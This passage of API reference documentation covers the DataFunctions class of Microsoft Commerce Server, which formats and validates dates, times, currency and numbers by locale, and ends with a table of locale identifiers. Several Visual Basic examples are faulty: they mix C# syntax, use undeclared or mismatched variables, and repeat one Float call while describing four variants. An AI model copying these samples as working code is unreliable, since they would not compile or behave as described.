  object vtCurrencySymbol
);

Parameters

[Visual Basic .NET]
vtMoneyString
An Object that contains the currency string to convert.
vtLocale
An Object that specifies the locale to use when converting the string to a currency Object. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
vtCurrencySymbol
An Object that contains the currency symbol to expect when converting the currency string. If this parameter is not specified, the value of the CurrencySymbol property of the DataFunctions object is used.
[C#]
vtMoneyString
An object that contains the currency string to convert.
vtLocale
An object that contains the locale to be used when converting the string to a currency object. If you want the value of the Locale property of the DataFunctions object to be used, pass Type.Missing for this parameter.
vtCurrencySymbol
An object that contains the currency symbol to expect when converting the currency string. If you want the value of the CurrencySymbol property of the DataFunctions object to be used, pass Type.Missing for this parameter.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object used to return the string representation of the converted monetary value.

[C#] This method returns an object containing the string representation of the converted monetary value. This will be set to null if the monetary value string is not valid.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

Dim Result As Object
Dim Amount As Object
' vtAmount is a string representation of a monetary value
DataFunctions df = New DataFunctions()
' Set to USA
df.Locale = 1033
Result = df.ConvertStringtoCurrency(vtAmount)
Response.Write("USA: " & Result & "<P>")

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)

See Also

DataFunctions Class

DataFunctions.Locale

DataFunctions.LocalizeCurrency

DataFunctions.ConvertMoneyStringToNumber


DataFunctions.ConvertTimeString Method (PIA)

Use this method to convert a time string to a date object, based on the default or specified locale.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function ConvertTimeString(
 vtDate As Object,
 Optional vtLocale As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop;
…
public object ConvertTimeString(
 object vtDate,
 object vtLocale
);

Parameters

[Visual Basic .NET]
vtDate
An Object that specifies a string representation of the time to convert.
vtLocale
An Object that specifies the locale to use to convert the string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
[C#]
vtDate
An object that specifies a string representation of the time to convert.
vtLocale
An object that specifies the locale to use to convert the string. If you want the value of the Locale property of the DataFunctions object to be used, pass Type.Missing for this parameter.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a date Object that contains the time; otherwise, Null is returned. Additionally, if the string representation contains a date, ConvertTimeString returns Null.

[C#] This method returns an object containing the converted time value.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

Dim Result As Object
Dim Amount As Object
' vtTimeString is a string representation of a time value
DataFunctions df = New DataFunctions()
' Set to USA
df.Locale = 1033
Result = df.ConvertTimeString(vtTimeString)
Response.Write("USA: " & Result & "<P>")

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)

See Also

DataFunctions Class

DataFunctions.Locale

DataFunctions.Time

DataFunctions.ValidateDateTime


DataFunctions.Date Method (PIA)

Use this method to convert a date object to a string representation of the specified date, based on the default or specified locale.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function Date(
 dtDate As DateTime,
 Optional vtLocale As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop;
…
public object Date(
 System.DateTime dtDate,
 object vtLocale
);

Parameters

[Visual Basic .NET]
dtDate
A DateTime that contains the date to format.
vtLocale
An Object that specifies the locale to use to convert the date to a string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
[C#]
dtDate
A System.DateTime that contains the date to format.
vtLocale
An object that specifies the locale to use to convert the System.DateTime object to a string. If you want the value of the Locale property of the DataFunctions object to be used, pass Type.Missing for this parameter.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a string Object that contains the date value formatted as a string; otherwise, Null is returned.

[C#] This method returns an object containing the date value formatted as a string.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

Dim Result As Object
Dim dDateVar As Date
' dDateVar is a Date containing a valid date
DataFunctions df = New DataFunctions()
' Set Locale to USA
df.Locale = 1033
Result = df.Date(dDateVar)
Response.Write("USA: " & Result & "<P>")

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)

See Also

DataFunctions Class

DataFunctions.Locale

DataFunctions.DateTime

DataFunctions.ValidateDateTime

DataFunctions.ConvertDateString


DataFunctions.DateTime Method (PIA)

Use this method to convert a date object to a string representation of the specified date value based on the default or specified locale.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function DateTime(
 dtDate As Date,
 vtLocale As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop;
…
public object DateTime(
 System.DateTime dtDate,
 object vtLocale
);

Parameters

[Visual Basic .NET]
dtDate
A Date that contains the date/time value to convert.
vtLocale
An Object that specifies the locale to use to convert the Date to a string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
[C#]
dtDate
A System.DateTime that contains the date/time value to convert.
vtLocale
An object that specifies the locale to use to convert the System.DateTime object to a string. If you want the value of the Locale property of the DataFunctions object to be used, pass Type.Missing for this parameter.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a string Object that contains the string representation of the specified date/time value; otherwise, Null is returned.

[C#] This method returns an object containing the string representation of the specified date/time value.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

Dim Result As Object
Dim DateVar As Date
' DateVar is a Date containing a valid date time value
DataFunctions df = New DataFunctions()
' Set Locale to USA
df.Locale = 1033
Result = df.DateTime(DateVar)
Response.Write("USA: " & Result & "<P>")

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)

See Also

DataFunctions Class

DataFunctions.Locale

DataFunctions.Date

DataFunctions.ValidateDateTime

Page.RequestTime


DataFunctions.Float Method (PIA)

Use this method to convert a number stored in a double to a string representation of that number, based on the default or specified locale.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…

Public Function Float(
 fNumber As Double,
 Optional vtLocale As Object
 Optional vtNoRound As Object,
 Optional vtTrimTrailingZeros As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop;
…
public object Float(
 double fNumber,
 object vtLocale
 object vtNoRound
 object vtTrimTrailingZeros
);

Parameters

[Visual Basic .NET]
fNumber
A Double that contains the floating-point number to convert.
vtLocale
An Object that specifies the locale to use to convert the floating-point number to a string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
VtNoRound
An Object that determines whether the number will be rounded.
VtTrimTrailingZeros
An Object that determines whether trailing zeros will be cropped.
[C#]
fNumber
A double (8-byte floating point number) that contains the floating-point number to convert.
vtLocale
An object that specifies the locale to use to convert the floating-point number to a string. If you want the value of the Locale property of the DataFunctions object to be used, pass Type.Missing for this parameter.
VtNoRound
An Object that determines whether the number will be rounded.
VtTrimTrailingZeros
An Object that determines whether trailing zeros will be cropped.

Return Values

The value returned from the Float method is intended for display purposes only, and not in any calculations.

[Visual Basic .NET] If this method completes successfully, it returns a string Object that contains the string representation of the specified floating-point number; otherwise, Null is returned.

[C#] This method returns an object containing the string representation of the specified floating point number.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The value returned from the Float method is intended for display purposes only, and not in any calculations.

The string representation of a floating pointer number (of type VT_R4) returned by the Float method can contain additional trailing digits that may not have been specified as part of the original user input value. For example, 2.23 is formatted as “2.23000001907349”, and 2.23456 is formatted as “2.23456001281738”.

The reason for the change in formatting is that when a float value is passed into this function, it is automatically cast to a double value by the language runtime libraries (because this method expects a double-typed argument). It is during this cast operation that the trailing digits get added to the passed in value. Since the Float method formats the entire input value into a string, the resulting string value contains the additional trailing digits.

The workaround for client applications is to invoke this method with the VtNoRound argument set to False.

[Visual Basic .NET]

Example

Dim Result As Object
Dim Amount As Double
Amount = 12000
DataFunctions df = New DataFunctions()
' Set Locale to USA
df.Locale = 1033
myInputFloat = 100.00010
Result = df.Float(myInputFloat)
Response.Write("USA, No Rounding, With Trailing: " & Result & "<P>")
Result = df.Float(myInputFloat)
Response.Write("USA, No Rounding, Trim Trailing: " & Result & "<P>")
Result = df.Float(myInputFloat)
Response.Write("USA, Rounding, With Trailing: " & Result & "<P>")
Result = df.Float(myInputFloat)
Response.Write("USA, Rounding, Trim Trailing: " & Result & "<P>")

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)

See Also

DataFunctions Class

DataFunctions.Locale

DataFunctions.ValidateFloat

DataFunctions.ConvertFloatString


DataFunctions.GetLocaleInfo Method (PIA)

Use this method to get information on the specified locale.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function GetLocaleInfo(
 vtInfo As Integer,
 vtLocale As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop;
…
public object GetLocaleInfo(
 int vtInfo,
 object vtLocale
);

Parameters

[Visual Basic .NET]
vtInfo
An Integer that indicates the type of locale information to return. This value must map to one of the LCTYPE constants. For information about these constants, see the Win32 SDK Help.
vtLocale
An Object that identifies the locale for which to return information. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
[C#]
vtInfo
An int that specifies the type of locale information to return in the returned object. This value must map to one of the LCTYPE constants. For information about these constants, see the Win32 SDK Help.
vtLocale
An object that identifies the locale for which to return information. If you want the value of the Locale property of the DataFunctions object to be used, pass Type.Missing for this parameter.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a string Object that contains the requested locale information; otherwise, Null is returned.

[C#] This method returns an object containing the requested locale information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Locale property stores a number value that indicates the default locale to be used by the DataFunctions methods to format date, time, money, and number information. For those DataFunctions methods take a locale value for a parameter, if that value is not supplied, the value of this property is used.

[Visual Basic .NET]

Example

Dim vtResult As Object
Dim lInfo As Integer
DataFunctions df = New DataFunctions()
' Set Locale to USA
vtResult = df.GetLocaleInfo(lInfo)

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)

See Also

DataFunctions Class

DataFunctions.Locale


DataFunctions.GetLocaleList Method (PIA)

Use this method to retrieve a SimpleList object that contains the locales available on the computer.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function GetLocaleList() As Object
[C#]
using Microsoft.CommerceServer.Interop;
…
public object GetLocaleList();

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that references a SimpleList object that specifies the locales available on the computer.

[C#] This method returns a SimpleList object containing the locales available on the computer.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)

See Also

DataFunctions Class

DataFunctions.Locale


DataFunctions.LocalizeCurrency Method (PIA)

Use this method to retrieve a string representation of a currency value formatted to a specified locale and currency symbol.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function LocalizeCurrency(
 cyCurrency As Object,
 Optional vtLocale As Object,
 Optional vtCurrencySymbol As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop;
…
public object LocalizeCurrency(
 object cyCurrency,
 object vtLocale,
 object vtCurrencySymbol
);

Parameters

[Visual Basic .NET]
cyCurrency
A currency Object that contains the value to format as a string.
vtLocale
An Object that contains the locale to use when formatting the string.
vtCurrencySymbol
An Object that contains the currency symbol to use when formatting the string.
[C#]
cyCurrency
A currency object that contains the value to format as a string.
vtLocale
An object that contains the locale to use when formatting the string. If you want the value of the Locale property of the DataFunctions object to be used, pass Type.Missing for this parameter.
vtCurrencySymbol
An object that contains the currency symbol to use when formatting the string. If you want the value of the CurrencySymbol property of the DataFunctions object to be used, pass Type.Missing for this parameter.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object containing the formatted string.

[C#] This method returns an object containing the string representation of the currency value.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

Dim Result As Object
Dim oAmount As Object
' oAmount is a Currency Object
DataFunctions df = New DataFunctions()
' Set to USA
myLocale = 1033
df.Locale = myLocale
Result = df.LocalizeCurrency(oAmount, myLocale, "$")
Response.Write("USA: " & Result & "<P>")
' Set to Minbar
myLocale = 1036
df.Locale = myLocale
Result = df.LocalizeCurrency(oAmount, myLocale, "MB")
Response.Write("Minbar: " & Result & "<P>")

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)

See Also

DataFunctions Class

DataFunctions.Locale

DataFunctions.ConvertStringToCurrency


DataFunctions.Money Method (PIA)

Use this method to convert an int that contains a monetary value to an equivalent string representation, based on the default or specified locale.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function Money(
 lMoney As Integer,
 vtLocale As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop;
…
public object Money(
 int lMoney,
 object vtLocale
);

Parameters

[Visual Basic .NET]
lMoney
An Integer that contains the monetary value to convert to a string, specified in the base monetary unit of the locale used to perform the conversion. (This value is not an OLE currency type.)
vtLocale
An Object that specifies the locale to use to convert the monetary value to a string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
[C#]
lMoney
An int that contains the monetary value to convert to a string, specified in the base monetary unit of the locale used to perform the conversion. (This value is not an OLE currency type.)
vtLocale
An object that specifies the locale to use to convert the monetary value to a string. If you want the value of the Locale property of the DataFunctions object to be used, pass Type.Missing for this parameter.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a string Object that contains a string representation of the specified monetary value; otherwise, Null is returned.

[C#] This method returns an object containing the resultant string.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

Dim Result As Object
Dim Amount As Integer
' Amount is an integer containing a monetary value in base currency units
' (base currency unit for US is cents)
DataFunctions df = New DataFunctions()
myLocale = 1036
df.Locale = myLocale
Result = df.Money(Amount, myLocale)
Response.Write("France: " & Result & "<P>")
myLocale = 1033
df.Locale = myLocale
Result = df.Money(Amount, myLocale)
Response.Write("USA: " & Result)

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)

See Also

DataFunctions Class

DataFunctions.Locale

DataFunctions.ConvertMoneyStringToNumber


DataFunctions.Number Method (PIA)

Use this method to convert an int to its equivalent string representation, based on the default or specified locale.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function Number(
 lNumber As Integer,
 vtLocale As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop;
…
public object Number(
 int lNumber,
 object vtLocale
);

Parameters

[Visual Basic .NET]
lNumber
An Integer that contains the number to convert to a string.
vtLocale
An Object that specifies the locale to use to convert the number to a string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
[C#]
lNumber
A long that contains the number to convert to a string.
vtLocale
An object that specifies the locale to use to convert the number to a string. If you want the value of the Locale property of the DataFunctions object to be used, pass Type.Missing for this parameter.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that contains the string representation of the specified number; otherwise, Null is returned.

[C#] This method returns an object containing the string representation of the specified number.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

Dim Result As Object
DataFunctions df = New DataFunctions()
' Set Locale to USA
myLocale = 1033
df.Locale = myLocale
Result = df.Number(9999999.99, myLocale)
Response.Write("USA: " & Result & "<P>")

' Set Locale to France
myLocale = 1036
df.Locale = myLocale
Result = df.Number(9999999, myLocale)
Response.Write("France: " & Result & "<P>")

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)

See Also

DataFunctions Class

DataFunctions.Locale

DataFunctions.ConvertNumberString


DataFunctions.Time Method (PIA)

Use this method to converts a System.DateTime to a string representation of the time.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function Time(
 dtDate As Date,
 vtLocale As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop;
…
public object Time(
 System.DateTime dtDate,
 object vtLocale
);

Parameters

[Visual Basic .NET]
dtDate
A Date type that contains the time value to convert.
vtLocale
An Object that specifies the locale to use to convert the time value to a string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
[C#]
dtDate
A System.DateTime type that contains the time value to convert.
vtLocale
An object that specifies the locale to use to convert the time value to a string. If you want the value of the Locale property of the DataFunctions object to be used, pass Type.Missing for this parameter.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a string Object that contains the string representation of the specified time value; otherwise, Null is returned.

[C#] This method returns an object containing the string representation of the specified time value.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' oResult is an Object, dDate is a Date
DataFunctions df = New DataFunctions()
' Set Locale to USA
myLocale = 1033
df.Locale = myLocale
oResult = df.Time(dDate, myLocale)
Response.Write("USA: " & Result & "<P>")

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)

See Also

DataFunctions Class

DataFunctions.Locale

DataFunctions.ConvertTimeString


DataFunctions.ValidateDateTime Method (PIA)

Use this method to check whether a string contains a valid date, time, or date and time, and optionally to check against a specified range.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function ValidateDateTime(
 vtDate As Object,
 vtMin As Object,
 vtMax As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop;
…
public object ValidateDateTime(
 object vtDate,
 object vtMin,
 object vtMax
);

Parameters

[Visual Basic .NET]
vtDate
An Object that contains the value to validate. This value can be a date, a time, or both.
vtMin
An Object that contains a value specifying the low end of the range. The default value for this parameter is Null, which means that the vtMin parameter is ignored in the range validation.
vtMax
An Object that contains a value specifying the high end of the range. The default value for this parameter is Null, which means that the vtMax parameter is ignored in the range validation.
[C#]
vtDate
An object that contains the value to validate. This value can be a date, a time, or both.
vtMin
An object that contains a value specifying the low end of the range. The default value for this parameter is null, which means that the vtMin parameter is ignored in the range validation.
vtMax
An object that contains a value specifying the high end of the range. The default value for this parameter is null, which means that the vtMax parameter is ignored in the range validation.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a Boolean Object indicating whether the vtDate parameter is valid. A value of True indicates the vtDate parameter is a valid date, time, or date/time, and that it is within the given range, if any.

[C#] This method returns an object containing a bool that indicates whether the vtDate parameter is valid. A value of true indicates the vtDate parameter is a valid date, time, or date/time, and that it is within the given range, if any.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' oResult is an Object, oSourceDate is an Object containing
' a string representation of a date or date and time
DataFunctions df = New DataFunctions()
oResult = df.ValidateDateTime(oSourceDate, "1/1/1900", _
  "12/31/2525")

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)

See Also

DataFunctions Class

DataFunctions.Date

DataFunctions.DateTime

DataFunctions.Time

DataFunctions.ConvertDateString

DataFunctions.ConvertDateTimeString

DataFunctions.ConvertTimeString


DataFunctions.ValidateFloat Method (PIA)

Use this method to check whether a string contains a valid floating-point number, and to optionally check the value of the number against a specified range.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function ValidateFloat(
 vtNumber As Object,
 vtMin As Object,
 vtMax As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop;
…
public object ValidateFloat(
 object vtNumber,
 object vtMin,
 object vtMax
);

Parameters

[Visual Basic .NET]
vtNumber
An Object that contains the floating-point number to validate.
vtMin
An Object that contains a value specifying the low end of the range. The default value for this parameter is Null, which means that the vtMin parameter is ignored in the range validation.
vtMax
An Object that contains a value specifying the high end of the range. The default value for this parameter is Null, which means that the vtMax parameter is ignored in the range validation.
[C#]
vtNumber
An object that contains the floating-point number to validate.
vtMin
An object that contains a value specifying the low end of the range. The default value for this parameter is null, which means that the vtMin parameter is ignored in the range validation.
vtMax
An object that contains a value specifying the high end of the range. The default value for this parameter is null, which means that the vtMax parameter is ignored in the range validation.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a Boolean Object that indicates whether the vtNumber parameter is valid. A value of True indicates the vtNumber parameter is a valid floating-point number, and that it is within the given range, if any.

[C#] This method returns an object containing a bool that indicates whether the vtNumber parameter is valid. A value of true indicates the vtNumber parameter is a valid floating-point number, and that it is within the given range, if any.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

Dim Result As Object
Dim Amount As Object
DataFunctions df = New DataFunctions()
' Set Locale to USA
myLocale = 1033
myFloat = 12.33
df.Locale = myLocale
Result = df.ValidateFloat(myFloat, 1, 10)
Response.Write(myFloat & " Is this float between 1 & 10?: " & " " _
    & Result & "<P>")
myFloat = 2.33
Result = df.ValidateFloat(myFloat, 1, 10)
Response.Write(myFloat & " Is this float between 1 & 10?: " & " " _
    & Result & "<P>")

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)

See Also

DataFunctions Class

DataFunctions.Float

DataFunctions.ConvertFloatString


DataFunctions.ValidateNumber Method (PIA)

Use this method to check whether a string representation of a number is valid, and optionally to check the value of the number against a specified range.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function ValidateNumber(
 vtNumber As Object,
 vtMin As Object,
 vtMax As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop;
…
public object ValidateNumber(
 object vtNumber,
 object vtMin,
 object vtMax
);

Parameters

[Visual Basic .NET]
vtNumber
An Object that contains a string representation of a number to validate.
vtMin
An Object that contains a value specifying the low end of the range. The default value for this parameter is Null, which means that the vtMin parameter is ignored in the range validation.
vtMax
An Object that contains a value specifying the high end of the range. The default value for the vtMax parameter is Null, which means that this parameter is ignored in the range validation.
[C#]
vtNumber
An object that contains a string representation of a number to validate.
vtMin
An object that contains a value specifying the low end of the range. The default value for this parameter is null, which means that the vtMin parameter is ignored in the range validation.
vtMax
An object that contains a value specifying the high end of the range. The default value for the vtMax parameter is null, which means that this parameter is ignored in the range validation.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a Boolean Object that indicates whether the vtNumber parameter is valid. A value of True indicates the vtNumber parameter is a valid whole number, and that it is within the given range, if any.

[C#] This method returns an object containing a bool that indicates whether the vtNumber parameter is valid. A value of true indicates the vtNumber parameter is a valid whole number, and that it is within the given range, if any.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

Dim Result As Object
Dim Amount As Object
DataFunctions df = New DataFunctions()
' Set Locale to USA
myLocale = 1033
df.Locale = myLocale
myInt = 24
Result = df.ValidateNumber(myInt , 1, 10)
Response.Write(myInt & " Is this integer between 1 & 10?: " & _
    " " & Result & "<P>")
myInt = 2
Result = df.ValidateNumber(myInt , 1, 10)
Response.Write(myInt & " Is this integer between 1 & 10?: " & _
    " " & Result & "<P>")

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)

See Also

DataFunctions Class

DataFunctions.Number

DataFunctions.ConvertNumberString


DataFunction Properties (PIA)

Properties

Property | Type | Description
Locale | Integer | Stores a number that represents the default locale to be used to format date, time, money, and number values. This property is read/write.
CurrencySymbol | Object | Stores the currency symbol to use if no currency symbol is specified in the ConvertStringToCurrency and LocalizeCurrency methods. The default value is the system default currency symbol. This property is read/write.


DataFunctions.CurrencySymbol Property (PIA)

The CurrencySymbol property is a read/write string object that stores the currency symbol to use if the currency symbol parameter is not specified in the ConvertStringToCurrency and LocalizeCurrency methods. The default value is the system default currency symbol.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Property CurrencySymbol As Object
[C#]
using Microsoft.CommerceServer.Interop;
…
public object CurrencySymbol {get; set;}

Property Value

This property is a string that contains the currency symbol.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)

See Also

DataFunctions Class

DataFunctions.ConvertStringToCurrency

DataFunctions.LocalizeCurrency


DataFunctions.Locale Property (PIA)

The Locale property is a read/write int that indicates the default locale to be used by the DataFunctions methods to format date, time, money, and number information. Where the DataFunctions methods take a locale value for a parameter, if that value is not supplied, the value to which you initialize this property is used.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Property Locale As Integer
[C#]
using Microsoft.CommerceServer.Interop;
…
public int Locale {get; set;}

Property Value

This property is an integer containing the locale.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Many of the methods implemented in the Commerce Server objects take locale identifiers. These identifiers are represented by unique hexadecimal codes.

The list of locale and language identifiers can be found in the National Language Support API. This specification can be found in the Microsoft Developer Network. (See Platform SDK, Windows Base Services, International Features).

This list is continually growing and further locale support may be added to any future product.

The following table contains a list of these hexadecimal locale identifiers.

Identifier | Locale
0x0000 | Language Neutral
0x0400 | Process Default Language
0x0401 | Arabic (Saudi Arabia)
0x0801 | Arabic (Iraq)
0x0c01 | Arabic (Egypt)
0x1001 | Arabic (Libya)
0x1401 | Arabic (Algeria)
0x1801 | Arabic (Morocco)
0x1c01 | Arabic (Tunisia)
0x2001 | Arabic (Oman)
0x2401 | Arabic (Yemen)
0x2801 | Arabic (Syria)
0x2c01 | Arabic (Jordan)
0x3001 | Arabic (Lebanon)
0x3401 | Arabic (Kuwait)
0x3801 | Arabic (U.A.E.)
0x3c01 | Arabic (Bahrain)
0x4001 | Arabic (Qatar)
0x0402 | Bulgarian
0x0403 | Catalan
0x0404 | Chinese (Taiwan)
0x0804 | Chinese (PRC)
0x0c04 | Chinese (Hong Kong)
0x1004 | Chinese (Singapore)
0x0405 | Czech
0x0406 | Danish
0x0407 | German (Standard)
0x0807 | German (Swiss)
0x0c07 | German (Austrian)
0x1007 | German (Luxembourg)
0x1407 | German (Liechtenstein)
0x0408 | Greek
0x0409 | English (United States)
0x0809 | English (United Kingdom)
0x0c09 | English (Australian)
0x1009 | English (Canadian)
0x1409 | English (New Zealand)
0x1809 | English (Ireland)
0x1c09 | English (South Africa)
0x2009 | English (Jamaica)
0x2409 | English (Caribbean)
0x2809 | English (Belize)
0x2c09 | English (Trinidad)
0x040a | Spanish (Traditional Sort)
0x080a | Spanish (Mexican)
0x0c0a | Spanish (Modern Sort)
0x100a | Spanish (Guatemala)
0x140a | Spanish (Costa Rica)
0x180a | Spanish (Panama)
0x1c0a | Spanish (Dominican Republic)
0x200a | Spanish (Venezuela)
0x240a | Spanish (Colombia)
0x280a | Spanish (Peru)
0x2c0a | Spanish (Argentina)
0x300a | Spanish (Ecuador)
0x340a | Spanish (Chile)
0x380a | Spanish (Uruguay)
0x3c0a | Spanish (Paraguay)
0x400a | Spanish (Bolivia)
0x440a | Spanish (El Salvador)
0x480a | Spanish (Honduras)
0x4c0a | Spanish (Nicaragua)
0x500a | Spanish (Puerto Rico)
0x040b | Finnish
0x040c | French (Standard)
0x080c | French (Belgian)
0x0c0c | French (Canadian)
0x100c | French (Swiss)
0x140c | French (Luxembourg)
0x040d | Hebrew
0x040e | Hungarian
0x040f | Icelandic
0x0410 | Italian (Standard)
0x0810 | Italian (Swiss)
0x0411 | Japanese
0x0412 | Korean
0x0812 | Korean (Johab)
0x0413 | Dutch (Standard)
0x0813 | Dutch (Belgian)
0x0414 | Norwegian (Bokmal)
0x0814 | Norwegian (Nynorsk)
0x0415 | Polish
0x0416 | Portuguese (Brazilian)
0x0816 | Portuguese (Portugal)
0x0418 | Romanian
0x0419 | Russian
0x041a | Croatian
0x081a | Serbian (Latin)
0x0c1a | Serbian (Cyrillic)
0x041b | Slovak
0x041c | Albanian
0x041d | Swedish
0x081d | Swedish (Finland)
0x041e | Thai
0x041f | Turkish
0x0421 | Indonesian
0x0422 | Ukrainian
0x0423 | Belarusian
0x0424 | Slovenian
0x0425 | Estonian
0x0426 | Latvian
0x0427 | Lithuanian
0x0429 | Farsi
0x042a | Vietnamese
0x042d | Basque
0x0436 | Afrikaans
0x0438 | Faeroese

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)

See Also

DataFunctions Class

DataFunctions.GetLocaleList

Table of Language Culture Names, Codes, and ISO Values


DictionaryXMLTransforms Class (PIA)

Use this object to transform data from a Dictionary object into Extensible Markup Language (XML) and vice versa, using a specified XML Data Reduced (XDR) schema.

Important

